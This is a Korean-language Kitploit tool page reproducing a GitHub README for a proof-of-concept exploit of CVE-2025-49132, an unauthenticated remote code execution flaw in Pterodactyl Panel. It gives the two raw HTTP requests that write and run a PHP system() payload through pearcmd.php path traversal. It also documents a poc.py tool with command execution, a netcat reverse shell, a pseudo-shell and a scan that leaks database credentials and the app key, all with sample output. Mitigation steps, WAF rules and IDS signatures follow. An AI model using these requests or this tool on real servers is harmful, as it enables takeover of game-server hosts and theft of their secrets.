Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
도구/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

저장소 보기
316개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-49132: PHP PEAR 방식을 통한 Pterodactyl 패널 무인증 RCE

CVSSv3 License Python

목차

  • 개요
  • 취약점 세부 정보
  • 기술 분석
  • 익스플로잇 흐름
  • 설치
  • 사용법
  • 예제
  • 완화 조치
  • 면책 조항
  • 참조
  • 작성자

개요

이 저장소는 1.11.11 이전 버전의 Pterodactyl 패널에서 발생하는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-49132에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.

Pterodactyl 패널은 PHP로 구축된 무료 오픈소스 게임 서버 관리 패널입니다. 이 취약점은 PHP PEAR의 pearcmd.php 기능과 결합된 /locales/locale.json 엔드포인트의 부적절한 처리를 통해 인증되지 않은 공격자가 대상 서버에서 임의의 시스템 명령을 실행할 수 있게 합니다.

취약점 요약

  • CVE ID: CVE-2025-49132
  • CVSS 점수: 10.0 (치명적)
  • CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: 코드 생성의 부적절한 제어 ('코드 인젝션')
  • 영향을 받는 버전: Pterodactyl 패널 < 1.11.11
  • 공격 복잡도: 낮음
  • 필요한 권한: 없음 (무인증)
  • 사용자 상호작용: 없음

취약점 세부 정보

PHP PEAR란 무엇인가?

PHP PEAR(PHP Extension and Application Repository)는 재사용 가능한 PHP 구성 요소를 위한 프레임워크이자 배포 시스템입니다. PEAR 패키지를 관리하는 데 사용할 수 있는 명령줄 도구(pearcmd.php)를 제공합니다.

pearcmd.php 파일은 URL 매개변수를 통해 명령을 처리하며, 경로 탐색과 결합되면 다음을 수행하는 데 악용될 수 있습니다:

  1. 시스템에 임의의 PHP 파일 생성
  2. 웹 서버를 통해 해당 파일 실행

근본 원인

취약점은 다음 이유로 존재합니다:

  1. 검증되지 않은 경로 탐색: /locales/locale.json의 locale 매개변수는 적절한 검증 없이 경로 탐색을 허용합니다
  2. 직접 파일 포함: 애플리케이션이 사용자 제어 입력에 따라 파일을 직접 포함합니다
  3. PEAR 명령 인젝션: pearcmd.php 스크립트는 임의의 PHP 파일을 쓸 수 있는 +config-create 명령을 허용합니다
  4. 무인증 접근: 취약한 엔드포인트는 인증을 요구하지 않습니다

공격 벡터

공격자는 다음을 수행할 수 있습니다:

  1. 경로 탐색을 사용하여 PEAR 설치 디렉터리에 도달
  2. config-create 명령을 남용하여 악성 PHP 코드를 /tmp에 작성
  3. 동일한 엔드포인트를 통해 악성 PHP 파일 실행
  4. 웹 서버 사용자 권한으로 완전한 원격 코드 실행 달성

기술 분석

악용 프로세스

익스플로잇은 두 단계로 작동합니다:

1단계: 페이로드 생성

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

세부 분석:

  • +config-create+/ - PEAR의 구성 생성 기능 호출
  • locale=../../../../../../usr/share/php/PEAR - PEAR 디렉터리로의 경로 탐색
  • namespace=pearcmd - pearcmd.php 파일 대상 지정
  • <?=system('id')?>+/tmp/payload.php - PHP 페이로드 및 대상 파일

2단계: 페이로드 실행

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

세부 분석:

  • locale=../../../../../../tmp - /tmp 디렉터리로의 경로 탐색
  • namespace=payload - payload.php 포함 및 실행

URL 인코딩이 익스플로잇을 깨뜨리는 이유

익스플로잇은 특수 문자(<, >, ?, =)를 인코딩하지 않고 URL로 전송해야 합니다. 이러한 문자가 URL 인코딩되면:

  • <?=system('id')?>는 %3C%3F%3Dsystem%28%27id%27%29%3F%3E가 됩니다
  • PEAR는 이를 PHP 코드가 아닌 리터럴 텍스트로 해석합니다
  • PHP 태그가 인식되지 않아 코드 실행이 차단됩니다

익스플로잇 흐름

root@kitploit:~
graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

공격 흐름 다이어그램

root@kitploit:~
sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

설치

사전 요구사항

  • Python 3.6 이상
  • requests 라이브러리

저장소 클론

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

종속성 설치

root@kitploit:~
pip3 install -r requirements.txt

또는 수동으로:

root@kitploit:~
pip3 install requests

사용법

기본 명령 실행

root@kitploit:~
python3 poc.py -H <target_host> -c "<command>"

리버스 셸

root@kitploit:~
# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

대화형 의사 셸

root@kitploit:~
python3 poc.py -H <target_host> --shell

PEAR 설치 경로 퍼징

root@kitploit:~
python3 poc.py -H <target_host> --fuzz

취약점 스캔

root@kitploit:~
python3 poc.py -H <target_host> --scan

구성 유출(데이터베이스 자격 증명, 앱 키)을 통해 CVE-2025-49132를 확인합니다.

사용자 지정 PEAR 경로

root@kitploit:~
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

상세 출력

root@kitploit:~
python3 poc.py -H <target_host> -c "id" -v

상세 진행 상황(페이로드 생성, PEAR 경로, 실행 상태)을 표시합니다.

전체 옵션

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Target host (e.g., 192.168.1.100 or example.com)
  -c COMMAND            Command to execute on target system
  -r REVERSE_SHELL      Reverse shell (format: LHOST:LPORT)
  --shell               Interactive pseudo-shell mode
  --fuzz                Fuzz for PEAR installation paths
  --scan                Scan target for vulnerability (config leaks)
  -p PEAR_PATH          Custom PEAR path (default: /usr/share/php/PEAR)
  -e ENDPOINT           Vulnerable endpoint (default: /locales/locale.json)
  --ssl                 Use HTTPS
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  -v, --verbose         Verbose progress output

예제

예제 1: 기본 명령 실행

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

상세 출력(페이로드 세부 정보, PEAR 경로 등)을 보려면 -v를 사용하세요.

예제 2: 리버스 셸

root@kitploit:~
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Make sure your listener is running: nc -lvnp 4444

# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

예제 3: 대화형 의사 셸

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

예제 4: PEAR 경로 퍼징

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Found 3 potential PEAR installation(s):
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation

경로별 퍼징 진행 상황을 보려면 -v를 사용하세요.

예제 5: 취약점 스캐너

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
    Host:     127.0.0.1
    Port:     3306
    Database: panel
    Username: pterodactyl
    Password: ********
    Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
    App Key: base64{...}
    [!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132

완화 조치

즉시 조치

  1. Pterodactyl 패널 업데이트

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    버전 1.11.11 이상으로 업데이트하세요.

  2. 취약한 엔드포인트 비활성화(임시 해결책)

    웹 서버 구성에 추가하세요:

    Apache (.htaccess):

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx:

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    참고: 이렇게 하면 지역화 기능이 중단됩니다.

  3. 웹 애플리케이션 방화벽(WAF)

    경로 탐색 시도를 차단하는 WAF 규칙을 구현하세요:

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

장기적 해결 방안

  1. 입력 검증: locale 및 namespace 매개변수에 대한 엄격한 검증 구현
  2. 경로 정화: realpath()를 사용하여 파일 경로를 확인하고 검증
  3. 화이트리스트 방식: 사전 정의된 특정 locale 값만 허용
  4. 인증: locale 엔드포인트에 인증 요구
  5. 보안 감사: 정기적인 보안 평가 및 침투 테스트

탐지

로그 분석 - 의심스러운 패턴 찾기:

root@kitploit:~
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

IDS/IPS 시그니처:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

면책 조항

교육 및 승인된 테스트 목적으로만 사용하세요

이 개념 증명 익스플로잇은 교육 목적과 승인된 보안 테스트용으로만 제공됩니다. 작성자는 이 프로그램으로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.

법적 고지

  • ✅ 권장: 승인된 침투 테스트 및 보안 연구에 이 도구를 사용하세요
  • ✅ 권장: 소유하거나 테스트할 명시적 권한이 있는 시스템에 이 도구를 사용하세요
  • ✅ 권장: 패치 및 보안 통제를 검증하는 데 이 도구를 사용하세요
  • ❌ 금지: 명시적 승인 없이 시스템을 대상으로 이 도구를 사용하지 마세요
  • ❌ 금지: 악의적인 목적으로 이 도구를 사용하지 마세요
  • ❌ 금지: 적절한 통제 없이 프로덕션 환경에 이 도구를 배포하지 마세요

컴퓨터 시스템에 대한 무단 접근은 불법입니다. 사용자는 관련 법률 및 규정을 준수할 책임이 있습니다.

참조

  • CVE-2025-49132 - NVD
  • GitHub Advisory: GHSA-24wv-6c99-f843
  • Pterodactyl 패널 보안 권고
  • PHP PEAR 문서
  • CWE-94: 코드 인젝션

작성자

xffsec

연락처
GitHub: @xffsec
이메일: [email protected]

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.

기여

기여, 이슈 제기, 기능 요청을 환영합니다! 언제든지 이슈를 열거나 풀 리퀘스트를 제출하세요.

감사의 말

  • 책임 있는 공개 프로세스를 진행한 Pterodactyl 패널 개발팀
  • 보안 연구 커뮤니티
  • 이러한 기술을 연습할 수 있는 안전한 환경을 제공한 HackTheBox

⚠️ 기억하세요: 항상 책임 있는 공개를 실천하고 적절한 승인 없이는 취약점을 악용하지 마세요.

도구 다운로드